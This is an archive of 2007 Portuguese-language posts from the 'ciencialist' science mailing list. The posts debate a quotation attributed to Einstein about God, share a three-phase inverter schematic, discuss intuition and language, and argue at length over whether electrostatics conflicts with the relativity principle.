>>Reservo-me o direito de duvidar que o grande mestre tenha gritado. Não
era
>>do seu feitio: era calmo, pacífico, muito humor... Leia suas biografias.
>>Sobre deus, não entro no mérito.
>>
>>bom dia,
>>
>>silvio.
>>3
>> ----- Original Message -----
>> From: J.Victor
>> To: ciencialist@yahoogrupos.com.br
>> Sent: Sunday, May 06, 2007 9:53 PM
>> Subject: Re: [ciencialist] A idéia que Einstein fazia de Deus
>>
>>
>> Olá,
>>
>> Einstein gritou: *«A opinião comum de que devo ser ateu repousa sobre
>>grave erro. Quem a
>> pretende deduzir de minhas teorias científicas não as entendeu. Creio
>>num
>> Deus pessoal e posso dizer-lhes que, nunca, em minha vida, cedi a uma
>> ideologia ateia.
>>
>> Victor: ...Também niguém é perfeito.
>>
>> Sds,
>>
>> Victor.
>>
>> ----- Original Message -----
>> From: Esteban Moreno
>> To: undisclosed-recipients:
>> Sent: Sunday, May 06, 2007 8:45 PM
>> Subject: [ciencialist] A idéia que Einstein fazia de Deus
>>
>> A idéia que Einstein fazia de Deus
>> <http://www.ansiao.net/einstein.jpg>
>>
>> *«A opinião comum de que devo ser ateu repousa sobre grave erro. Quem a
>> pretende deduzir de minhas teorias científicas não as entendeu. Creio
>>num
>> Deus pessoal e posso dizer-lhes que, nunca, em minha vida, cedi a uma
>> ideologia ateia.
>>
>> Não há oposição entre a ciência e a religião.
>> Apenas há cientistas atrasados, que professam ideias que datam de 1880.
>>
>> Aos dezoito anos, eu já considerava as teorias sobre o evolucionismo
>> mecanicista e casualista como irremediavelmente antiquadas.
>>
>> No interior do átomo não reinam a harmonia e a regularidade que esses
>> cientistas costumam pressupor. Nele se depreendem apenas leis
>> prováveis,
>> formuladas na base de estatísticas reformáveis. Ora, essa
>>indeterminação,
>>no
>> plano da matéria, abre lugar à intervenção de uma Causa, que produza o
>> equilíbrio e a harmonia dessas reações dissemelhantes e contraditórias
>>da
>> matéria.
>>
>> Há, porém, várias maneiras de se representar Deus. Alguns o representam
>>como
>> o Deus mecânico, que intervém no mundo para modificar as leis da
>>natureza
>>e
>> o curso dos acontecimentos. Querem pô-lo ao seu serviço, por meio de
>> fórmulas mágicas. É o Deus de certos primitivos, antigos ou modernos.
>>Outros
>> o representam como o Deus jurídico, legislador e agente policial da
>> moralidade, que impõe o medo e estabelece distâncias. Outros, enfim,
>>como
>>o
>> Deus interior, que dirige por dentro todas as coisas e que se revela
>> aos
>> homens no mais íntimo da consciêncía.
>> -
>> A mais bela e profunda emoção que se pode experimentar é a sensação do
>> místico. Este é o semeador da verdadeira ciência. Aquele a quem seja
>> estranha tal sensação, aquele que não mais possa sonhar e ser empolgado
>>pelo
>> encantamento, não passa, em verdade, de um morto.
>>
>> Saber que realmente existe aquilo que é impenetrável a nós, e que se
>> manifesta como a mais alta das sabedorias; a mais radiosa das belezas,
>>que
>> as nossas faculdades embotadas só podem entender em suas formas mais
>> primitivas: esse conhecimento, esse sentimento, está no centro mesmo da
>> verdadeira religiosidade.
>>
>> A experiência cósmica religiosa é a mais forte e a mais nobre fonte de
>> pesquisa científica. Minha religião consiste em humilde admiração do
>> espírito superior e ilimitado que se revela nos menores detalhes que
>>podemos
>> perceber em nossos espíritos frágeis e incertos. Essa convicção,
>> profundamente emocional na presença de um poder racionalmente superior,
>>que
>> se revela* no* incompreensível, é a ideia que faço de Deus».*
>>
>> [As partes desta mensagem que não continham texto foram removidas]
>>
>> [As partes desta mensagem que não continham texto foram removidas]






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[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: RE: [ciencialist] Inversor trifásico mínimo
FROM: "murilo filo" <avalanchedrive@hotmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 12/05/2007 00:16

Mandou bem, Tipo!
Como não sei bem entrar nos arquivos, dá p/vc mandar um link?
Já ví muitos inversores.
abr/M.


>From: "Tipoalgo" <tipoalgo@gmail.com>
>Reply-To: ciencialist@yahoogrupos.com.br
>To: ciencialist@yahoogrupos.com.br
>Subject: [ciencialist] Inversor trifásico mínimo
>Date: Sat, 12 May 2007 00:48:14 -0000
>
>Olá a todos.
>
>Vou Carregar na área de arquivos do grupo o esquema de um inversor que
>permite alimentar um motor trifásico a partir de uma fonte CC, entre
>outras finalidades.
>
>Não se trata de um circuito a nível de engenharia, pois não tenho tal
>formação, mas de um conceito básico de lógica digital, que talvez seja
>útil numa sala de aula de um curso técnico. Espero que seja de alguma
>utilidade para alguém, além de mim é claro.
>
>Para quem entende um pouco de eletrônica, o circuito é auto
>explicativo, para quem não entende, o Prof. Léo e outros podem ajudar.
>
>Alerto que nenhum direito de propriedade será cobrado, pois a idéia
>foi concebida há décadas e já está no interior dos modernos PICs em
>forma de software bastantes versáteis e eficientes, mas a simplicidade
>da lógica empregada no circuito em questão me deixa cheio de orgulho
>(pobre se contenta com muito pouco, eu sei). A propósito, alguém já
>viu solução de hardware semelhante antes, aplicada ao chaveamento de
>tensão monofásica para trifásica?
>
>Abraços
>Tipoalgo
>
>
>
>
>
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>
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>
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>
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>##### ##### #####
>
>Página de apoio
>http://www.ciencialist.com
>
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>Links do Yahoo! Grupos
>
>




SUBJECT: Re: RES: [ciencialist] A idéia que Einstein fazia de Deus
FROM: "murilo filo" <avalanchedrive@hotmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 12/05/2007 00:41

Não explicou e nem vai explicar.
Só mostrou o mecanismo.
A intuição está além da pura intelectualidade e da emoção.
Vem bem mais de dentro, coisa que os gringos ainda vão explicar -
racionalmente.
Vc tem intuição? Tem coisa melhor?
abr/M.


>From: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
>Reply-To: ciencialist@yahoogrupos.com.br
>To: <ciencialist@yahoogrupos.com.br>
>Subject: Re: RES: [ciencialist] A idéia que Einstein fazia de Deus
>Date: Fri, 11 May 2007 13:06:23 -0300
>
>A 'intuição' foi desenvolvida depois de muita 'ginástica' cerebral. Atenção
>acurada, observação, pano de fundo, o que está procurando, o lastro na cuca
>... o suor ... depois vem a intuição --- o chute de gênio!
>
>[]'
> ===========================
> Luiz Ferraz Netto [Léo]
> leobarretos@uol.com.br
> http://www.feiradeciencias.com.br/doacoes.asp
> ===========================
>-----Mensagem Original-----
>De: "murilo filo" <avalanchedrive@hotmail.com>
>Para: <ciencialist@yahoogrupos.com.br>
>Enviada em: quinta-feira, 10 de maio de 2007 22:18
>Assunto: RE: RES: [ciencialist] A idéia que Einstein fazia de Deus
>
>
>Oi, rapazes!
>Pergunto: e a intuição?
>obr/abr M. SP 10/mai07
>
>
> >From: "J.Victor" <j.victor.neto@uol.com.br>
> >Reply-To: ciencialist@yahoogrupos.com.br
> >To: <ciencialist@yahoogrupos.com.br>
> >Subject: RES: [ciencialist] A idéia que Einstein fazia de Deus
> >Date: Wed, 9 May 2007 19:22:12 -0300
> >
> >Sílvio,
> >
> >
> >
> >Acho que é folclore. Dizem muita coisa envolvendo Einstein e outros
>ícones
> >de se quilate, atribuindo-lhes comportamentos dissociados do comum de nós
> >outros, envolvendo-os numa redoma de mistério e certo glamour.
> >
> >Poincaré foi um dos maiores e mais profícuos matemáticos de todos os
> >tempos,
> >não só da época dele.
> >
> >Contudo, dizem alguns historiadores, que ele era desajeitado para fazer
> >contas simples, não gostava,
> >
> >evitava, errava, confundia, embora pudesse manejar, de cabeça, grandes
> >blocos matemáticos, como matrizes ou estruturas topológicas, do que não
> >tenho conhecimento a não ser a nível de "notícias", por ser muito
> >especializado e específico, tratando-se de um ramo da matemática
> >extremamente difícil e abstrato.
> >
> >Já disseram, entre outras histórias, que um dia Einstein vinha pelo
> >corredor da universidade e, de repente, parou e perguntou a um estudante
> >que passava: o restaurante fica prá lá ou para ali? À resposta de "para
> >ali", ele disse: ah, então já almocei, e seguiu adiante!?.... Mas essa
> >mesma história contavam de um professor que conhecí, de física, cujo
>nome
> >não me é conveniente citar. E eu sabia que de besta e exótico este nada
> >tinha, a não ser que era um notório traçador de estudantes mais
>bonitinhas
> >e
> >atiradas, que lhe apontavam algumas possibilidades. Mas era um excelente
> >professor, famoso por suas aulas e temido pelo rigor na correção das
> >provas.
> >
> >
> >Particularmente não acredito que essas pessoas muito inteligentes sejam
>tão
> >idiotas a esse ponto, nem desligados, nem alheios a si próprios, coisas
>do
> >tipo. Têm apenas uma coisa a mais que a maioria dos mortais: um cérebro
> >mais
> >gordinho de neurônios e sinapses mais arrumadinhas. Só isso. Só isso?
>Pois
> >bem... Folclore, criado pelos circunstantes, para terem o que conversar,
> >espantar ou maravilhar o ouvinte. Parece que as pessoas gostam de uns
> >enfeites, em torno do objeto de sua admiração. Froidi explica.
> >
> >
> >
> >Sds,
> >
> >Victor.
> >
> >
> >
> >De: ciencialist@yahoogrupos.com.br
>[mailto:ciencialist@yahoogrupos.com.br]
> >Em nome de Silvio Cordeiro
> >Enviada em: quarta-feira, 9 de maio de 2007 16:43
> >Para: ciencialist@yahoogrupos.com.br
> >Assunto: Re: [ciencialist] A idéia que Einstein fazia de Deus
> >
> >
> >
> >Ô Vitor:
> >
> >Você me fez lembrar um fato, muito comentado nas biografias de Einstein
> >que,
> >numa bela tarde de sol, sentado em um banco de jardim, ele divagava pelo
> >universo quando seu neto pediu uma ajuda para resolver um problema de
> >aritimética: Ele chamou a mãe do menino e pediu auxílio a ela, pois não
> >entendia o problema....
> >
> >boa tarde,
> >
> >silvio.
> >----- Original Message -----
> >From: J.Victor
> >To: ciencialist@yahoogrupos.com.br
> ><mailto:ciencialist%40yahoogrupos.com.br>
> >
> >Sent: Monday, May 07, 2007 3:08 PM
> >Subject: Re: [ciencialist] A idéia que Einstein fazia de Deus
> >
> >Sílvio,
> >
> >O gritou que escreví não é um gritoooou!. É um gritou fuleiro, bem
> >baixinho,
> >quase sussurando. Se brincar, nem isso. .
> >Contudo, a bem da verdade, nunca lí em lugar nenhum que ele tenha se
> >expressado do jeito postado aquí. O que ele professava
> >era uma religiosidade peba, à moda de Spinoza, como bem lembrou o Bulcão.
> >Quanto a "era calmo, pacífico, muito humor... "
> >você tem razão.
> >
> >Sds,
> >Victor.
> >
> >----- Original Message -----
> >From: Silvio Cordeiro
> >To: ciencialist@yahoogrupos.com.br
> ><mailto:ciencialist%40yahoogrupos.com.br>
> >
> >Sent: Monday, May 07, 2007 10:12 AM
> >Subject: Re: [ciencialist] A idéia que Einstein fazia de Deus
> >
> >Vitor:
> >
> >Reservo-me o direito de duvidar que o grande mestre tenha gritado. Não
>era
> >do seu feitio: era calmo, pacífico, muito humor... Leia suas biografias.
> >Sobre deus, não entro no mérito.
> >
> >bom dia,
> >
> >silvio.
> >3
> >----- Original Message -----
> >From: J.Victor
> >To: ciencialist@yahoogrupos.com.br
> ><mailto:ciencialist%40yahoogrupos.com.br>
> >
> >Sent: Sunday, May 06, 2007 9:53 PM
> >Subject: Re: [ciencialist] A idéia que Einstein fazia de Deus
> >
> >Olá,
> >
> >Einstein gritou: *«A opinião comum de que devo ser ateu repousa sobre
>grave
> >erro. Quem a
> >pretende deduzir de minhas teorias científicas não as entendeu. Creio num
> >Deus pessoal e posso dizer-lhes que, nunca, em minha vida, cedi a uma
> >ideologia ateia.
> >
> >Victor: ...Também niguém é perfeito.
> >
> >Sds,
> >
> >Victor.
> >
> >----- Original Message -----
> >From: Esteban Moreno
> >To: undisclosed-recipients:
> >Sent: Sunday, May 06, 2007 8:45 PM
> >Subject: [ciencialist] A idéia que Einstein fazia de Deus
> >
> >A idéia que Einstein fazia de Deus
> ><http://www.ansiao.net/einstein.jpg>
> >
> >*«A opinião comum de que devo ser ateu repousa sobre grave erro. Quem a
> >pretende deduzir de minhas teorias científicas não as entendeu. Creio num
> >Deus pessoal e posso dizer-lhes que, nunca, em minha vida, cedi a uma
> >ideologia ateia.
> >
> >Não há oposição entre a ciência e a religião.
> >Apenas há cientistas atrasados, que professam ideias que datam de 1880.
> >
> >Aos dezoito anos, eu já considerava as teorias sobre o evolucionismo
> >mecanicista e casualista como irremediavelmente antiquadas.
> >
> >No interior do átomo não reinam a harmonia e a regularidade que esses
> >cientistas costumam pressupor. Nele se depreendem apenas leis prováveis,
> >formuladas na base de estatísticas reformáveis. Ora, essa indeterminação,
> >no
> >plano da matéria, abre lugar à intervenção de uma Causa, que produza o
> >equilíbrio e a harmonia dessas reações dissemelhantes e contraditórias da
> >matéria.
> >
> >Há, porém, várias maneiras de se representar Deus. Alguns o representam
> >como
> >o Deus mecânico, que intervém no mundo para modificar as leis da natureza
>e
> >o curso dos acontecimentos. Querem pô-lo ao seu serviço, por meio de
> >fórmulas mágicas. É o Deus de certos primitivos, antigos ou modernos.
> >Outros
> >o representam como o Deus jurídico, legislador e agente policial da
> >moralidade, que impõe o medo e estabelece distâncias. Outros, enfim, como
>o
> >Deus interior, que dirige por dentro todas as coisas e que se revela aos
> >homens no mais íntimo da consciêncía.
> >-
> >A mais bela e profunda emoção que se pode experimentar é a sensação do
> >místico. Este é o semeador da verdadeira ciência. Aquele a quem seja
> >estranha tal sensação, aquele que não mais possa sonhar e ser empolgado
> >pelo
> >encantamento, não passa, em verdade, de um morto.
> >
> >Saber que realmente existe aquilo que é impenetrável a nós, e que se
> >manifesta como a mais alta das sabedorias; a mais radiosa das belezas,
>que
> >as nossas faculdades embotadas só podem entender em suas formas mais
> >primitivas: esse conhecimento, esse sentimento, está no centro mesmo da
> >verdadeira religiosidade.
> >
> >A experiência cósmica religiosa é a mais forte e a mais nobre fonte de
> >pesquisa científica. Minha religião consiste em humilde admiração do
> >espírito superior e ilimitado que se revela nos menores detalhes que
> >podemos
> >perceber em nossos espíritos frágeis e incertos. Essa convicção,
> >profundamente emocional na presença de um poder racionalmente superior,
>que
> >se revela* no* incompreensível, é a ideia que faço de Deus».*
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SUBJECT: RE: [ciencialist] Novo arquivo carregado em ciencialist
FROM: "murilo filo" <avalanchedrive@hotmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 12/05/2007 00:54

Tipo, oi.
Desconsidere minha msg anterior.
Abrí mas não existe boa definição. Não deu p/ver direito.
abr/M.


>From: ciencialist@yahoogrupos.com.br Reply-To:
>ciencialist@yahoogrupos.com.br
>To: ciencialist@yahoogrupos.com.br Subject: [ciencialist] Novo arquivo
>carregado em ciencialist
>Date: 12 May 2007 00:50:47 -0000
>
>
>Olá,
>
>Esta mensagem é uma notificação para informá-lo que um novo arquivo foi
>adicionado no grupo ciencialist.
>
> Arquivo : /inversor trifasico1.png
> Carregado por : tipoalgo <tipoalgo@gmail.com>
> Descrição : Circuito para converter CC em CA trifásica
>
>Você pode acessar o arquivo pela URL:
>
>http://br.groups.yahoo.com/group/ciencialist/files/inversor%20trifasico1.png
>
>Para saber mais sobre compartilhamento de arquivos no grupo, leia:
>
>http://help.yahoo.com/help/br/groups/files
>
>Atenciosamente,
>
>tipoalgo <tipoalgo@gmail.com>
>
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>Links do Yahoo! Grupos
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SUBJECT: Re: O Que é Raciocinar?
FROM: "Joao de Carvalho" <joaobncarvalho@hotmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 12/05/2007 14:27

Olá, Ferrari.

> João >>> Mas você ignorou completamente a linguagem,
> que é o elemento realmente incrível em tudo isso.
>
> --- Sobre linguagem (cerebral) estava falando um pouco
> antes, quando falo das regras de codificação e
> decodificação. Como são várias, tem muito a ser
> estudado. Se vc quiser conversar sobre isto. Estou a
> disposição.

Ainda estou para ler o livro do Pinker sobre o assunto. Talvez ele
seja o maior psicolinguista atual, e certamente o maior divulgador
dos conhecimentos nesta área.

> Por exemplo, o que lhe chama mais a
> atenção na questão da linguagem?

Algo que o Pinker já disse. A possibilidade de transmitir informações
e pensamentos complexos através da emissão de sons pela boca, tinta
impressa num papel, ou variação na intensidade de luz dos pixels numa
tela de vídeo. Tudo isso que estamos fazendo aqui, todas as idéias
que trocamos, informações que comunicamos, se dão por intermédio da
linguagem. E a linguagem não é algo que se inventa pela cultura. Ela
é produto de um sofisticado aparato linguístico do cérebro. É talvez
a habilidade que mais diferencia o homem dos outros animais.

Saudações.
João de Carvalho




SUBJECT: [ciencialist] Preciso fazer uma pergunta, pois estou c/dúvida
FROM: "J.Victor" <j.victor.neto@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 12/05/2007 17:36





De: J.Victor [j.victor.neto@uol.com.br]

Enviado em: quinta-feira, 10 de maio de 2007 16:47

Para: 'ciencialist@yahoogrupos.com.br'

Assunto: RES: [ciencialist] Preciso fazer uma
pergunta, pois estou c/ uma duvida



De: ciencialist@yahoogrupos.com.br [mailto:ciencialist@yahoogrupos.com.br]
Em nome de Luiz Ferraz Netto
Enviada em: quinta-feira, 10 de maio de 2007 11:15
Para: ciencialist@yahoogrupos.com.br
Assunto: Re: [ciencialist] Preciso fazer uma pergunta, pois estou c/ uma
duvida



Léo,



O retorno a seguir está meio longo, devido ao nível de detalhamento que
coloquei. E o fiz pensando nos ciencialisteiro que não física em seu dia a
dia, mas que têm curiosidade ou interesse nessas coisas, e se dispõem a ler,
honrando nossos esforços.

Espero que não tenha ficado enfadonho demais.



........
Léo: Além disso, não concordo o o 'status' que vc dá à lei de Coulomb e seus
derivados. Aliás, estou desenvolvendo um texto justamente comentando como as
leis da eletricidade violam o princípio da relatividade. O que um observador
em 'repouso' vê de eletrostática numa questão não é o que vê um observador
em movimento.

Victor: Farei uns comentários ao seu texto, então. Pois discordo de você
neste mister. Intreiramente.


Léo: Eis a parte do texto já pronta: (onde está r leia-se 'rö', p leia-se
'pi' e m leia-se 'mü')

Victor: Ok.
+++++++++++++++++++
Léo: O Principio da Relatividade
A Velocidade é relativa
Galileu propôs, como um princípio geral de simetria, que as leis da Física
deveriam ser as mesmas para qualquer observador que se mova a uma velocidade
constante, qualquer que seja a direção, sentido e o módulo dessa velocidade.
Em outras palavras, não deve haver nenhum sistema de referência preferencial
nem nenhuma maneira de determinar uma velocidade absoluta. Esta simetria
geral é chamada de princípio da relatividade.
É claro que Galileu e Newton se certificaram de que suas leis da mecânica
clássica obedeciam ao princípio da relatividade.

Victor: Ok.


Léo: Contudo, a menos que se façam algumas mudanças na Física que
apresentamos no Ensino Médio, as leis da eletricidade violam o princípio da
relatividade. Um observador em "repouso" e um em movimento obterão duas
predições teóricas diferentes para a mesma experiência.

Victor: Não é assim. Se algo do tipo acontecer, das duas uma, e só pode
ser uma: ou a teoria está errada; ou faltou algum detalhe da tal que não foi
levado em consideração na análise.

A TR está correta, com a mera precisão de somente uma parte em 10^14.

(Você sabia que, para Newton, sua teoria estava correta em uma parte 10^3,
apenas? E hoje sabemos que Newton enganou-se. Sua teoria está correta, em
muito mais: uma parte em 10^7 ?).


Léo: Como ilustração, vamos considerar o exemplo simples de uma carga
puntual Q a uma distância R de um fio carregado com r statcoulombs por
centímetro como mostra a Fig.1.

Fig.1- Carga puntual Q a uma distância R de um fio carregado com r C/m.
Fig.2- A Fig.1 vista por um observador que se move com velocidade v para
cima.

A força sobre Q é Fe = QE onde E = 2r/R é o valor do campo elétrico da
distribuição Q no ponto do espaço que dista R (veja adendo 1 "campo
originado por cilindro uniformemente eletrizado").

Victor: 1) Eu não vi sua Fig.1, mas imagino que se trata de uma linha de
comprimento L, com uma carga de densidade linear, de valor r(C/m),
distribuída. E que você considerou
que a distância R entre a carga Q e o centro dessa linha de cargas é muito,
muito maior que o comprimento L da linha. Pois no denominador da expressão
de E, na direção escolhida, comparece a raiz quadrada da soma dos quadrados
de L e R. L, então, desaparece, em comparação com R, o que
justifica a fórmula acima.

2) As cargas no fio L são estacionárias. O fio está em repouso em relação à
carga Q, alocada a R (m) do centro de L, que, obviamente, também está em
repouso em relação a L. Ou seja, L e Q estão em repouso, um em relação ao
outro. Estou supondo que você supôs isso, pois é que se depreende de sua
linha de raciocínio. Estou certo? Se sim, vamos em frente.

Léo: Portanto, Fe = 2Qr/R ... eq.1, para um observador em repouso.

Victor: Ok.


Léo: Consideremos agora um segundo observador que se move paralelamente ao
fio à velocidade v como mostra a Fig.2. Além da força eletrostática acima Fe
(eq.1) este observador mediria também uma força magnética Fm . Ele vê uma
corrente elétrica I = rv movendo-se ao longo do fio e uma carga Q movendo-se
também paralelamente ao fio à velocidade v.

Victor: Segundo entendi(e não vi sua Fig.2), você diz que, de acordo com o
observador (S1), que se move com velocidade v em relação ao fio L, sobre
Q surge uma força magnética, Fm, devida à distribuição de carga nesse mesmo
fio de comprimento L e carga r (C/m).
Nesse caso, e para facilitar esta exposição, consideremos o observador S1 em
repouso e o fio L movendo-se em relação a ele, com velocidade (–v). Dará
no mesmo, do ponto de vista da análise. A carga teste, Q, contudo, se
mantém em repouso em relação a L, embora o observador S1 a veja em
movimento, com a MESMA velocidade (–v) de L, já que sua situação é
estacionária em relação a L, conforme premissa inicial.
O ponto, então, é este: o observador S1 vê L e Q movendo-se com a mesma
velocidade (-v) em relação a ele. Ou seja, ele próprio, S1, poderá
concluir o que um observador S fixo a L ou Q concluiria: que Q,
efetivamente, se encontra em repouso em relação a L. Vice-versa.
Como era para ser mesmo, pois esta é uma condição imposta pelo enunciado do
problema, conforme inferí de seu enunciado.


Léo: Como sabemos, a força magnética sobre uma carga Q é Fm = Qv/c X B. O
campo magnético B produzido por uma corrente circulando em linha reta é B =
2rv/(cR). Portanto, Fm = Qv/c X 2rv/(cR) = (2rQ/R)(v2/c2) é a força
magnética.

Victor: Bem, aquí, você afirma que a força magnética da distribuição de
cargas em L, agora em movimento, sobre Q, é Fm = Q(v/c) x B.

Mas não é!

Q não está em movimento em relação à carga do fio L! Q está em repouso em
relação a L.
O v da fórmula acima refere-se ao movimento relativo ENTRE as cargas! No
caso em foco, como já foi comentado, L e Q são vistos, pelo agora
observador inercial em repouso relativo, S1, movendo-se em conjunto, ambos
com a mesma velocidade (-v) pelo que S1 pode concluir, portanto, que L e Q
estão em repouso, um em relação ao outro, o que é confirmado por um
referencial S ligado à carga Q ou ao fio L.
Da mesma maneira que um observador terrestre concluí que todos os corpos
caem do mesmo jeito em queda livre, pois não vê a pedra pesada andar mais
rápido que a pedra maneira. Se no momento em que a corda do elevador é
cortada, as duas estão lado a lado, após o corte, as duas continuarão assim.
Uma verá a outra repouso. Vice-versa. Um observador na terra verá as duas
caindo, mas juntas, lado a lado. Como inteligente e genialmente concluiu
Galileo. (Claro que não estou levando em consideração os efeitos de maré,
e estou considerando o elevador como local e muito pequeno, tal qual, nele,
g aproximadamente constante. (Como deve ser, quando se pensa corretamente
no Princípio da Equivalência).
Assim não pode haver forças magnéticas entre eles, L e Q, conforme a mesma
fórmula que você expôs: pois a velocidade relativa em L e Q é zero, pelo
que Fm será igualmente zero. Seja do ponto de vista do observador em
questão, S1, seja do ponto de vista de um observador S ligado ao próprio L
ou a Q. É o que sentencia a sua expressão matemática. Contudo, S1 observa,
sim, campos magnéticos devido ao conjunto de cargas. Mas isso é outra
questão e não tem relação com a proposição inicial. Sobrevive, contudo, a
interação eletrostática entre L e Q, conforme a primeira equação que você
colocou acima, calculada por um observador em repouso em relação a L e a Q.
E o que é campo eletrostático para um observador, é campo magnético para
outro. Coisa que acontece de maneira natural. Do ponto de vista prático e
energético, o dinheiro gasto será o mesmo, tanto do ponto de vista de um,
como do ponto de vista do outro.

Adicionalmente, acrescento que, se L e Q estiverem em movimento relativo,
entre si, poderemos calcular as forças supervenientes, que existem
efetivamenente, sendo os valores dessas forças diferentes, de referencial
inercial a referencial inercial, mas absolutamente equivalentes, pois são
conversíveis umas nas outras, mediantes as TL.

Mas não é este o caso. Contudo, se todos os observadores estiverem à mesma
velocidade relativa entre as cargas, os valores que obtêm serão exatamente
iguais Como requer a natureza, muito bem expressa pelos postulados da
relatividade(PPR) e o PE.

Resumindo: A expressão para a força magnética, acima, refere-se ao caso onde
há movimento ENTRE as cargas, e não entre estas e qualquer observador. Se
elas estiverem inicialmente em repouso, assim continuarão. Não é um
observador enxerido qualquer vai mudar isso. O papel de um referencial é
meramente facilitar a observação e a medição.


Léo: [Nota: Estamos trabalhando no Sistema CGS Eletrostático (onde comparece
c). Para transferir para o Sistema Internacional de Unidades basta fazer c =
4p/m e tomar r em C/m.]

Victor: Ok.


Léo: Essa força atrativa magnética deve ser adicionada à força repulsiva
eletrostática. Portanto o observador em movimento calcula a força resultante
como sendo
F = Fe - Fm = 2Qr/R - (2rQ/R)(v2/c2) = 2Qr/R(1 - v2/c2) (Léo)
para um observador que se move à velocidade v.

Victor: Também aqui há restrições. E, sinceramente, não pude alcançar seu
raciocínio. Segundo você, cumpre-se a sentença matemática acima, que chamei
de (Léo), mesmo neste caso. Assim, você afirma que uma corrente I em L, ou
a corrente gerada pela carga do L em movimento em relação a S1, daria, como
resultado, um campo magnético no lugar onde está Q, e, consequentemente,
uma força Fm= Q(v/c) x B, na direção de R, e de sentido contrário. (Isto se
depreende da soma: Fe-Fm = F )

Mas um campo magnético devido a uma corrente I numa dada direção é
concêntrico à direção da corrente, sendo, portanto, perpendicular ao
segmento R, saindo do papel ou entrando no papel onde R está desenhado, esse
mesmo R que liga o centro de L ao ponto onde está Q; mas somente se fosse o
caso de haver movimento relativo entre eles. Que, evidentemente, não há.
Assim, a força resultante sobre Q seria o resultado de uma composição
vetorial entre Fm e Fe, e não resultante de operação escalar, como foi feito
acima, pois Fm e Fe seriam perpendiculares e não colineares, como se
depreende da proposição inicial.


Léo: Numericamente, é um fator (1 - v2/c2) menor que o resultado (Eq.1)
obtido por um observador estacionado.
Observe que se v<<<c, o fator (1 - v2/c2) torna-se unitário e a força
resultante será F = 2Qr/R = Q.E, tipicamente eletrostática.
Assim, é claro que as leis da eletricidade dão resultados diferentes em
sistemas de referência diferentes.

Victor: Não. Não é sequer claro, isso. Sistemas de referência diferentes
devem produzir ou mesmos resultados: os valores podem não ser idênticos,
mas serão absolutamente semelhantes; pois as leis da física são as mesmas
para todos os referenciais e as equações que representam essas leis devem
ter a mesma forma, quaisquer que sejam estes referenciais. Um valor
numérico obtido em um terá o mesmo significado, a mesma validade e o mesmo
efeito que outro valor numérico obtido em outro, para o mesmo fenômeno
físico, devendo haver seguramente alguma transformação que faça a devida
conversão de um no outro. No caso, tal transformação existe e são as TEL,
ou Transformações de Einstein-Lorentz. Se você tiver de gastar dinheiro
para implementar dado projeto, você não conseguirá gastar menos simplesmente
implementado o projeto sob a consideração de referenciais diferentes.
Pois, do ponto de vista das leis de conservação do momento e da energia, que
é o que se paga, os efeitos serão sempre os mesmos.
Inexoravelmente.

No caso do eletromagnetismo, suas leis já são, naturalmente, covariantes,
segundo as TEL. Em relação às de Galileo, não.

Léo: Contudo, de acordo com o princípio da relatividade de Galileu na
mecânica clássica, a força ou aceleração sobre Q deve ser independente da
velocidade do observador. Como conciliar isso?

Victor: Correto. Qualquer fenômeno físico independe de qualquer sistema
de referência. Não é possível imaginarmos que as leis da física sejam umas
aqui em meu apartamento e outras quando estou viajando num avião. O que eu
concluir aqui será exatamente o que alguém concluí num avião em movimento,
ambos fazendo os mesmos experimentos.


Léo: É assim, fácil observar, que o princípio da relatividade de Galileu que
funciona para a mecânica clássica é inconsistente com as equações de
Maxwell. Para resolver esta contradição, o princípio da relatividade, ou as
equações de Maxwell, ou a mecânica clássica devem ser revistos.

Victor: É claro que qualquer teoria pode ser revista, desde que fatos novos
surjam, a qualquer tempo. O que agora comentamos, contudo, não são fatos
novos.

Em vista do exposto, as suas conclusões e todas as demais, em relação à
proposição inicial, perdem inteiramente o sentido.

Não há, assim, a inconsistência apontada.


Léo: Vamos considerar agora as seguintes 3 alternativas:

Victor: As 3 alternativas acima se reduzem, pois, a esta: nenhuma.
Pois está tudo ok, como manda o figurino Relativista ou mesmo Newtoniano.


Léo: Talvez hoje pela tardinha eu complete esse 'nabo' e tire a virgindade
coulombiana.

Victor: Sorry, mas a mocinha coulombiana continuará “cabaço”, por outros
bons séculos. Mesmo numa época dessas, na qual, se Henrique V gritasse:
“meu reino por um cabaço”, estaria roubado e mal pago. Inapelavelmente.
Devido à raridade dessas preciosidades, ao menos nas faixas permitidas.

Sds,

Victor.


===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br <mailto:leobarretos%40uol.com.br>
http://www.feiradeciencias.com.br/doacoes.asp
===========================
-----Mensagem Original-----
De: "J.Victor" <j.victor.neto@uol.com.br <mailto:j.victor.neto%40uol.com.br>
>
Para: <ciencialist@yahoogrupos.com.br
<mailto:ciencialist%40yahoogrupos.com.br> >
Enviada em: quinta-feira, 10 de maio de 2007 10:45
Assunto: [ciencialist] Preciso fazer uma pergunta, pois estou c/ uma duvida

Caro Léo,

Acho que, numa primeira investida, está ok. Mas eu não diria algo assim:
"...e então a 'tradicional' lei

de Coulomb deve sofrer alterações (por vezes, sérias alterações!).", pois
daria a impressão

de que deveria haver alteração na estrutura mesma da lei. E não é assim. O
que acontece é

que, numa situação dessas, aliás comum, a aplicação da Lei de Coulmb, que é
essencialmente puntual, fica difícil, trabalhosa, exigindo maiores esforços
para sua correta aplicação. Pois a carga agora apresenta-se distribuída ao
longo do corpo, pelo que não poderemois mais desprezar as diferenças entre
as distâncias de cada uma à uma carga de teste infinitesimal. Torna-se
necessário, com vistas à Lei de Coulomb, que ela seja dividida em cargas
infinitesimais, seja considerado o efeito de cada dq sobre a carga teste,
como se os outros dq's não existisssem e depois somado tudo, pois vale o
notável e simplificador, como simples é a natureza,

Princípio da Superposição. O efeito global de todos os dq é a soma, ou
integração dos efeitos de cada uma. Para tais objetivos, a natureza diz:
olha, considera que a carga A(puntal) não exista, e calcule o efeito
elétrico sobre a carga de teste devido somente à carga B(puntual). Depois,
considere que B não existe e calcule o efeito elétrico da A sobre a mesma
carga de teste. Depois some tudo, misture tudo, integrando(para dizer
melhor). Ou seja, a matemática a ser usada será mais elaborada, deverá
cansar a munheca, após a trabalheira para encontrar o efeito de cada carga,
como se as outras não existissem.

